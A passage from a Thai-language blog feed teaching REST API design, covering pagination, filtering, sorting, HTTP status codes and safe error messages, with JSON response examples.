&#xE0B;&#xE31;&#xE1A;&#xE0B;&#xE49;&#xE2D;&#xE19;&#xE01;&#xE27;&#xE48;&#xE32;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE41;&#xE25;&#xE30;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;</p><p><strong>Page-based</strong><br>&#xE43;&#xE0A;&#xE49;&#xE01;&#xE32;&#xE23;&#xE23;&#xE30;&#xE1A;&#xE38;&#xE2B;&#xE21;&#xE32;&#xE22;&#xE40;&#xE25;&#xE02;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE41;&#xE25;&#xE30;&#xE02;&#xE19;&#xE32;&#xE14;&#xE02;&#xE2D;&#xE07;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE2B;&#xE19;&#xE49;&#xE32; &#xE40;&#xE0A;&#xE48;&#xE19; GET /api/v1/products?page=1&amp;pageSize=2</p><p><strong>page</strong> &#xE04;&#xE37;&#xE2D; &#xE2B;&#xE21;&#xE32;&#xE22;&#xE40;&#xE25;&#xE02;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23; (&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE08;&#xE32;&#xE01; 1)<br><strong>pageSize</strong> &#xE04;&#xE37;&#xE2D; &#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE23;&#xE32;&#xE22;&#xE01;&#xE32;&#xE23;&#xE15;&#xE48;&#xE2D;&#xE2B;&#xE19;&#xE49;&#xE32;</p><p>&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE41;&#xE23;&#xE01;: GET /api/v1/products?page=1&amp;pageSize=2</p><pre><code>{
  &quot;products&quot;: [
    {&quot;id&quot;: 1001, &quot;name&quot;: &quot;&#xE42;&#xE19;&#xE49;&#xE15;&#xE1A;&#xE38;&#xE4A;&#xE01; A&quot;, &quot;price&quot;: 30000},
    {&quot;id&quot;: 1002, &quot;name&quot;: &quot;&#xE2A;&#xE21;&#xE32;&#xE23;&#xE4C;&#xE17;&#xE42;&#xE1F;&#xE19; B&quot;, &quot;price&quot;: 15000}
  ],
  &quot;currentPage&quot;: 1,
  &quot;totalPages&quot;: 3,
  &quot;totalItems&quot;: 5
}</code></pre><p>&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE2D;&#xE07;: GET /api/v1/products?page=2&amp;pageSize=2</p><pre><code>{
  &quot;products&quot;: [
    {&quot;id&quot;: 1003, &quot;name&quot;: &quot;&#xE41;&#xE17;&#xE47;&#xE1A;&#xE40;&#xE25;&#xE47;&#xE15; C&quot;, &quot;price&quot;: 20000},
    {&quot;id&quot;: 1004, &quot;name&quot;: &quot;&#xE2B;&#xE39;&#xE1F;&#xE31;&#xE07; D&quot;, &quot;price&quot;: 5000}
  ],
  &quot;currentPage&quot;: 2,
  &quot;totalPages&quot;: 3,
  &quot;totalItems&quot;: 5
}</code></pre><p>&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE2A;&#xE38;&#xE14;&#xE17;&#xE49;&#xE32;&#xE22;: GET /api/v1/products?page=3&amp;pageSize=2</p><pre><code>{
  &quot;products&quot;: [
    {&quot;id&quot;: 1005, &quot;name&quot;: &quot;&#xE01;&#xE25;&#xE49;&#xE2D;&#xE07; E&quot;, &quot;price&quot;: 25000}
  ],
  &quot;currentPage&quot;: 3,
  &quot;totalPages&quot;: 3,
  &quot;totalItems&quot;: 5
}</code></pre><p><strong>&#xE22;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE01;&#xE32;&#xE23;&#xE04;&#xE33;&#xE19;&#xE27;&#xE19; totalPages</strong><br>totalItems = 5 (&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;)<br>pageSize = 2 (&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE23;&#xE32;&#xE22;&#xE01;&#xE32;&#xE23;&#xE15;&#xE48;&#xE2D;&#xE2B;&#xE19;&#xE49;&#xE32;)</p><p>totalPages = Math.ceil(5/2) = Math.ceil(2.5) = 3</p><p><strong>&#xE02;&#xE49;&#xE2D;&#xE14;&#xE35;</strong> &#xE07;&#xE48;&#xE32;&#xE22;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE41;&#xE25;&#xE30;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;<br><strong>&#xE02;&#xE49;&#xE2D;&#xE40;&#xE2A;&#xE35;&#xE22;</strong> &#xE2D;&#xE32;&#xE08;&#xE21;&#xE35;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE2B;&#xE21;&#xE32;&#xE22;&#xE40;&#xE25;&#xE02;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE39;&#xE07;</p><p><strong>3. Filtering</strong></p><p>&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A; API &#xE17;&#xE35;&#xE48;&#xE14;&#xE35;&#xE40;&#xE23;&#xE32;&#xE04;&#xE27;&#xE23;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE01;&#xE23;&#xE2D;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE15;&#xE32;&#xE21;&#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE08;&#xE30;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE25;&#xE14;&#xE1B;&#xE23;&#xE34;&#xE21;&#xE32;&#xE13;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE48;&#xE07;&#xE01;&#xE25;&#xE31;&#xE1A; &#xE40;&#xE0A;&#xE48;&#xE19;</p><p>GET /api/v1/products?category=electronics&amp;price_min=1000&amp;price_max=5000&amp;location=bangkok</p><p><strong>4. Sorting</strong></p><p>&#xE40;&#xE0A;&#xE48;&#xE19;&#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Filtering &#xE40;&#xE23;&#xE32;&#xE04;&#xE27;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE01;&#xE32;&#xE23; Sorting &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE08;&#xE31;&#xE14;&#xE40;&#xE23;&#xE35;&#xE22;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE15;&#xE32;&#xE21;&#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02;&#xE17;&#xE35;&#xE48;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; &#xE40;&#xE0A;&#xE48;&#xE19; </p><p>GET /api/v1/products?sort_by=price&amp;order=desc</p><p>&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE08;&#xE32;&#xE01;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Sorting</p><pre><code>{
  &quot;products&quot;: [
    {&quot;id&quot;: 1001, &quot;name&quot;: &quot;&#xE42;&#xE19;&#xE49;&#xE15;&#xE1A;&#xE38;&#xE4A;&#xE01; A&quot;, &quot;price&quot;: 30000},
    {&quot;id&quot;: 1005, &quot;name&quot;: &quot;&#xE01;&#xE25;&#xE49;&#xE2D;&#xE07; E&quot;, &quot;price&quot;: 25000},
    {&quot;id&quot;: 1003, &quot;name&quot;: &quot;&#xE41;&#xE17;&#xE47;&#xE1A;&#xE40;&#xE25;&#xE47;&#xE15; C&quot;, &quot;price&quot;: 20000},
    {&quot;id&quot;: 1002, &quot;name&quot;: &quot;&#xE2A;&#xE21;&#xE32;&#xE23;&#xE4C;&#xE17;&#xE42;&#xE1F;&#xE19; B&quot;, &quot;price&quot;: 15000},
    {&quot;id&quot;: 1004, &quot;name&quot;: &quot;&#xE2B;&#xE39;&#xE1F;&#xE31;&#xE07; D&quot;, &quot;price&quot;: 5000}
  ]
}</code></pre><p><strong>5. Error Handling</strong></p><p>&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14; (Error Handling) &#xE40;&#xE1B;&#xE47;&#xE19;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; API &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE1B;&#xE25;&#xE2D;&#xE14;&#xE20;&#xE31;&#xE22;&#xE41;&#xE25;&#xE30;&#xE43;&#xE2B;&#xE49;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE13;&#xE4C;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE17;&#xE35;&#xE48;&#xE14;&#xE35; &#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;&#xE17;&#xE35;&#xE48;&#xE40;&#xE2B;&#xE21;&#xE32;&#xE30;&#xE2A;&#xE21;&#xE08;&#xE30;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE19;&#xE31;&#xE01;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE40;&#xE02;&#xE49;&#xE32;&#xE43;&#xE08;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32;&#xE44;&#xE14;&#xE49;&#xE14;&#xE35;&#xE02;&#xE36;&#xE49;&#xE19;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE40;&#xE1B;&#xE34;&#xE14;&#xE40;&#xE1C;&#xE22;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE2D;&#xE32;&#xE08;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE2D;&#xE31;&#xE19;&#xE15;&#xE23;&#xE32;&#xE22;</p><p>&#xE40;&#xE23;&#xE32;&#xE04;&#xE27;&#xE23;&#xE2A;&#xE48;&#xE07;&#xE04;&#xE37;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;&#xE14;&#xE49;&#xE27;&#xE22; <strong>HTTP Status Code</strong> &#xE41;&#xE25;&#xE30;<strong>&#xE23;&#xE32;&#xE22;&#xE25;&#xE30;&#xE40;&#xE2D;&#xE35;&#xE22;&#xE14;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE40;&#xE15;&#xE34;&#xE21; </strong>&#xE40;&#xE0A;&#xE48;&#xE19;</p><p><strong>HTTP Status Code</strong><br><strong>400</strong> : Bad Reques &#xE43;&#xE0A;&#xE49;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE48;&#xE07;&#xE21;&#xE32;&#xE21;&#xE35;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A;&#xE44;&#xE21;&#xE48;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE21;&#xE35;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE04;&#xE23;&#xE1A;&#xE16;&#xE49;&#xE27;&#xE19;<br><strong>401</strong> : Unauthorized &#xE43;&#xE0A;&#xE49;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE22;&#xE31;&#xE07;&#xE44;&#xE21;&#xE48;&#xE44;&#xE14;&#xE49;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23; Authen &#xE17;&#xE35;&#xE48;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07;<br><strong>403</strong> : Forbidden &#xE43;&#xE0A;&#xE49;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE4C;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07; Resource &#xE17;&#xE35;&#xE48;&#xE23;&#xE49;&#xE2D;&#xE07;&#xE02;&#xE2D;<br><strong>404</strong> : Not Found &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE44;&#xE21;&#xE48;&#xE1E;&#xE1A; Resource &#xE17;&#xE35;&#xE48;&#xE23;&#xE49;&#xE2D;&#xE07;&#xE02;&#xE2D;<br><strong>500</strong> : Internal Server Error &#xE43;&#xE0A;&#xE49;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE01;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19; Server</p><p>&#xE01;&#xE25;&#xE38;&#xE48;&#xE21;&#xE02;&#xE2D;&#xE07; HTTP Status Code &#xE17;&#xE35;&#xE48;&#xE21;&#xE31;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE01;&#xE31;&#xE19;&#xE1A;&#xE48;&#xE2D;&#xE22; &#xE46;</p><p><strong>2xx - Acknowledge and Success</strong> &#xE43;&#xE0A;&#xE49;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE04;&#xE33;&#xE02;&#xE2D;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE1A;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE33;&#xE40;&#xE23;&#xE47;&#xE08;</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2025/12/ChatGPT-Image-Dec-23--2025--08_00_12-AM.png" class="kg-image" alt loading="lazy" width="1536" height="1024" srcset="https://blog.pjjop.org/content/images/size/w600/2025/12/ChatGPT-Image-Dec-23--2025--08_00_12-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2025/12/ChatGPT-Image-Dec-23--2025--08_00_12-AM.png 1000w, https://blog.pjjop.org/content/images/2025/12/ChatGPT-Image-Dec-23--2025--08_00_12-AM.png 1536w" sizes="(min-width: 720px) 720px"></figure><p><strong>3xx - Redirection</strong> &#xE43;&#xE0A;&#xE49;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE14;&#xE33;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE40;&#xE15;&#xE34;&#xE21;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE04;&#xE33;&#xE02;&#xE2D;&#xE2A;&#xE21;&#xE1A;&#xE39;&#xE23;&#xE13;&#xE4C;</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2025/12/Gemini_Generated_Image_h52kg7h52kg7h52k.jpg" class="kg-image" alt loading="lazy" width="2000" height="1342" srcset="https://blog.pjjop.org/content/images/size/w600/2025/12/Gemini_Generated_Image_h52kg7h52kg7h52k.jpg 600w, https://blog.pjjop.org/content/images/size/w1000/2025/12/Gemini_Generated_Image_h52kg7h52kg7h52k.jpg 1000w, https://blog.pjjop.org/content/images/size/w1600/2025/12/Gemini_Generated_Image_h52kg7h52kg7h52k.jpg 1600w, https://blog.pjjop.org/content/images/size/w2400/2025/12/Gemini_Generated_Image_h52kg7h52kg7h52k.jpg 2400w" sizes="(min-width: 720px) 720px"></figure><p><strong>4xx - Client Error</strong> &#xE43;&#xE0A;&#xE49;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE04;&#xE33;&#xE02;&#xE2D;&#xE21;&#xE35;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE14;&#xE33;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23;&#xE44;&#xE14;&#xE49;&#xE40;&#xE19;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE08;&#xE32;&#xE01;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32;&#xE08;&#xE32;&#xE01;&#xE1D;&#xE31;&#xE48;&#xE07; Client</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2025/12/Gemini_Generated_Image_7zooy67zooy67zoo--1-.jpg" class="kg-image" alt loading="lazy" width="2000" height="1342" srcset="https://blog.pjjop.org/content/images/size/w600/2025/12/Gemini_Generated_Image_7zooy67zooy67zoo--1-.jpg 600w, https://blog.pjjop.org/content/images/size/w1000/2025/12/Gemini_Generated_Image_7zooy67zooy67zoo--1-.jpg 1000w, https://blog.pjjop.org/content/images/size/w1600/2025/12/Gemini_Generated_Image_7zooy67zooy67zoo--1-.jpg 1600w, https://blog.pjjop.org/content/images/size/w2400/2025/12/Gemini_Generated_Image_7zooy67zooy67zoo--1-.jpg 2400w" sizes="(min-width: 720px) 720px"></figure><p><strong>5xx - Server Error</strong> &#xE43;&#xE0A;&#xE49;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D; Server &#xE44;&#xE21;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE14;&#xE33;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23;&#xE15;&#xE32;&#xE21;&#xE04;&#xE33;&#xE02;&#xE2D;&#xE17;&#xE35;&#xE48;&#xE21;&#xE32;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE44;&#xE14;&#xE49;</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2025/12/Gemini_Generated_Image_36ert036ert036er.png" class="kg-image" alt loading="lazy" width="1168" height="912" srcset="https://blog.pjjop.org/content/images/size/w600/2025/12/Gemini_Generated_Image_36ert036ert036er.png 600w, https://blog.pjjop.org/content/images/size/w1000/2025/12/Gemini_Generated_Image_36ert036ert036er.png 1000w, https://blog.pjjop.org/content/images/2025/12/Gemini_Generated_Image_36ert036ert036er.png 1168w" sizes="(min-width: 720px) 720px"></figure><p><strong>&#xE23;&#xE32;&#xE22;&#xE25;&#xE30;&#xE40;&#xE2D;&#xE35;&#xE22;&#xE14;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE40;&#xE15;&#xE34;&#xE21;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE48;&#xE07;&#xE44;&#xE1B;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE31;&#xE1A; HTTP Status Code</strong><br>&#xE40;&#xE23;&#xE32;&#xE04;&#xE27;&#xE23;&#xE43;&#xE2B;&#xE49;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE0A;&#xE31;&#xE14;&#xE40;&#xE08;&#xE19;&#xE40;&#xE1E;&#xE35;&#xE22;&#xE07;&#xE1E;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE19;&#xE31;&#xE01;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32;&#xE44;&#xE14;&#xE49; &#xE41;&#xE15;&#xE48;&#xE44;&#xE21;&#xE48;&#xE04;&#xE27;&#xE23;&#xE40;&#xE1B;&#xE34;&#xE14;&#xE40;&#xE1C;&#xE22;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19; &#xE17;&#xE35;&#xE48;&#xE2D;&#xE32;&#xE08;&#xE40;&#xE2A;&#xE35;&#xE48;&#xE22;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE21;&#xE31;&#xE48;&#xE19;&#xE04;&#xE07;&#xE1B;&#xE25;&#xE2D;&#xE14;&#xE20;&#xE31;&#xE22; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE41;&#xE17;&#xE19;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE1A;&#xE2D;&#xE01;&#xE27;&#xE48;&#xE32; &quot;<strong>Internal Server Error</strong>&quot; &#xE04;&#xE27;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE40;&#xE0A;&#xE48;&#xE19; &quot;<strong>Access denied. Check credentials and permissions.</strong>&quot; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE43;&#xE2B;&#xE49;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE40;&#xE1E;&#xE35;&#xE22;&#xE07;&#xE1E;&#xE2D;&#xE41;&#xE01;&#xE48;&#xE19;&#xE31;&#xE01;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE40;&#xE1B;&#xE34;&#xE14;&#xE40;&#xE1C;&#xE22;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19;&#xE23;&#xE30;&#xE1A;&#xE1A;</p><p>&#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE44;&#xE21;&#xE48;&#xE04;&#xE27;&#xE23;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE23;&#xE32;&#xE22;&#xE25;&#xE30;&#xE40;&#xE2D;&#xE35;&#xE22;&#xE14;&#xE17;&#xE35;&#xE48;&#xE2D;&#xE32;&#xE08;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE16;&#xE39;&#xE01;&#xE42;&#xE08;&#xE21;&#xE15;&#xE35;&#xE44;&#xE14;&#xE49; &#xE40;&#xE0A;&#xE48;&#xE19;&#xE44;&#xE21;&#xE48;&#xE04;&#xE27;&#xE23;&#xE1A;&#xE2D;&#xE01;&#xE27;&#xE48;&#xE32; &quot;<strong>SQL query failed due to malformed input containing a DROP TABLE command</strong>&quot; &#xE41;&#xE15;&#xE48;&#xE04;&#xE27;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE17;&#xE31;&#xE48;&#xE27;&#xE44;&#xE1B;&#xE40;&#xE0A;&#xE48;&#xE19; &quot;<strong>Invalid input provided. Please review and try again.</strong>&quot;</p><p><strong>6. <em>API Spec</em></strong></p><p>API Spec &#xE04;&#xE37;&#xE2D; &#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23;&#xE17;&#xE35;&#xE48;&#xE2D;&#xE18;&#xE34;&#xE1A;&#xE32;&#xE22;&#xE23;&#xE32;&#xE22;&#xE25;&#xE30;&#xE40;&#xE2D;&#xE35;&#xE22;&#xE14;&#xE02;&#xE2D;&#xE07; API &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE17;&#xE32;&#xE07;&#xE01;&#xE32;&#xE23; API Spec &#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE19;&#xE31;&#xE01;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE40;&#xE02;&#xE49;&#xE32;&#xE43;&#xE08;&#xE27;&#xE34;&#xE18;&#xE35;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; API &#xE44;&#xE14;&#xE49;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE21;&#xE32;&#xE01;&#xE02;&#xE36;&#xE49;&#xE19; &#xE42;&#xE14;&#xE22;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30; Project &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE17;&#xE35;&#xE21;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE17;&#xE35;&#xE21; &#xE2B;&#xE23;&#xE37;&#xE2D; Project &#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE08;&#xE49;&#xE32;&#xE07;&#xE17;&#xE35;&#xE21; Outsource</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-29-at-2.19.07-PM.png" class="kg-image" alt loading="lazy" width="1724" height="1128" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-29-at-2.19.07-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-29-at-2.19.07-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2024-08-29-at-2.19.07-PM.png 1600w, https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-29-at-2.19.07-PM.png 1724w" sizes="(min-width: 720px) 720px"></figure><p><a href="https://forms.gle/vER3tA8YnUmvjL7Q9?ref=blog.pjjop.org">Post-test</a> (25 &#xE02;&#xE49;&#xE2D;) &#xE02;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE19;&#xE38;&#xE01;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Post-test &#xE19;&#xE30;&#xE04;&#xE23;&#xE31;&#xE1A;!</p><h2></h2><p></p><p></p>]]></content:encoded></item><item><title><![CDATA[Mastering Golang for E-commerce Back End Development Outline]]></title><description><![CDATA[<figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-26-at-10.38.12-AM.png" class="kg-image" alt loading="lazy" width="2000" height="763" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-26-at-10.38.12-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-26-at-10.38.12-AM.png 1000w, 